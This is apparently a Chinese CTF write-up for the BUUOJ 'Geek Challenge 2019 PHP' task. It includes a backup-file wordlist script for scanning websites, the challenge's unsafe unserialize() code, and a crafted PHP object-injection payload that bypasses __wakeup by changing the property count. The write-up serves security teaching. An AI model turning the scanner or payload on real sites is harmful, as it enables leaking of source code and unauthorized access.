[buuoj]極客大挑戰 2019]PHP 1

知識點:
1、直接掃描目錄得到網站源碼
2、public、protected與private在序列化時的區別
3、__wakeup()方法繞過

復現:
首先根據提示網站備份文件,考慮掃描備份文件
首先我們需要一個網站備份文件的爆破字典
可以用腳本實現:

import sys
import imp
imp.reload(sys)
import os
import os.path
import requests
from urllib.parse import unquote

suffixList = ['.rar','.zip','.tar','.tar.gz']
keyList = ['www','wwwroot','site','web','website','backup','data','mdb','WWW','新建文件夾','ceshi','databak',
'db','database','sql','bf','備份','1','2','11','111','a','123','test','admin','app','bbs','htdocs','wangzhan']

def run(url):
    num1 = url.find('.')
    num2 = url.find('.', num1 + 1)
    keyList.append(url[num1 + 1:num2])
    keyList.append(url) 
    keyList.append(url.replace('.', '_'))  
    keyList.append(url.replace('.', '')) 
    keyList.append(url[num1 + 1:]) 
    keyList.append(url[num1 + 1:].replace('.', '_'))  
#用法 python3 bfuzz.py www.baidu.com        
url =sys.argv[1]
run(url)

tempList = []

for key in keyList:
    for suff in suffixList:
        tempList.append(key + suff)
fobj = open(url+".txt" , 'w')
for each in tempList:
    fobj.write('%s%s' % (each,'\n'))
    fobj.flush()

然後用這個字典去掃描網站
在這裏插入圖片描述
發現一個www.zip文件
下載下來,裏面有index.php,flag.php和class.php,其中flag.php給的是假的flag
看index.php,看到一個反序列化

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

查看class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

分析代碼應該是要求我們username=admin,password=100時得到flag
但是wakeup方法會導致username成爲guest,因此需要通過序列化字符串中對象的個數來繞過該方法。
構造

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo serialize($a);
#進行url編碼,防止%00對應的不可打印字符在複製時丟失
echo urlencode(serialize($a));
#未編碼的情況
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//Name後面的2在鏈接中要改成3
?>

訪問
http://db9f7f6c-53c9-44ba-8a8b-3bfb5743d65b.node3.buuoj.cn/index.php?select=O%3A4%3A%22Name%22%3A3%3A{s%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B}
得到flag
在這裏插入圖片描述
也可以通過python提交:

import  requests

url ="http://db9f7f6c-53c9-44ba-8a8b-3bfb5743d65b.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

總結:
1、__wakeup()方法繞過
作用:
與__sleep()函數相反,__sleep()函數,是在序序列化時被自動調用。__wakeup()函數,在反序列化時,被自動調用。
繞過:
當反序列化字符串,表示屬性個數的值大於真實屬性個數時,會跳過 __wakeup 函數的執行。
所以在上面name後面的2表示有2個屬性,我們改成3之後他會繞過__wakeup()
2、public、protected與private在序列化時的區別
protected 聲明的字段爲保護字段,在所聲明的類和該類的子類中可見,但在該類的對象實例中不可見。因此保護字段的字段名在序列化時,字段名前面會加上\0*\0的前綴。這裏的 \0 表示 ASCII 碼爲 0 的字符(不可見字符),而不是 \0 組合。這也許解釋了,爲什麼如果直接在網址上,傳遞\0*\0username會報錯,因爲實際上並不是\0,只是用它來代替ASCII值爲0的字符。必須用python傳值纔可以。

private 聲明的字段爲私有字段,只在所聲明的類中可見,在該類的子類和該類的對象實例中均不可見。因此私有字段的字段名在序列化時,類名和字段名前面都會加上\0的前綴。字符串長度也包括所加前綴的長度。其中 \0 字符也是計算長度的。

在這裏插入圖片描述
可以看到private變量在序列化的時候是在前面有不可見字符的,所以最好給他用url編碼再訪問,或者使用:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

當然,像上面使用python提交也是可以的

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章